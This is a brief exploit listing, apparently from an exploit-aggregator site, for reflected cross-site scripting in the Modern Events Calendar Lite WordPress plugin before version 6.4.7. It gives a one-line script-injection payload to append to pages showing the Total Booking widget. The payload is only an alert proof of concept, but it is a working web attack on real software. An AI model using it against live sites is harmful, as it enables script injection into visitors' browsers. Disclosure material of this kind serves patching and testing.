Exploit for Modern Events Calendar Lite < 6.4.7 - Reflected Cross-Site Scripting

## https://sploitus.com/exploit?id=WPEX-ID:4ECF4232-0A0F-4D20-981D-FD0F697D96A9
On a page where the Total Booking widget is displayed, append the following payload: &a"><script>alert(/XSS/)</script>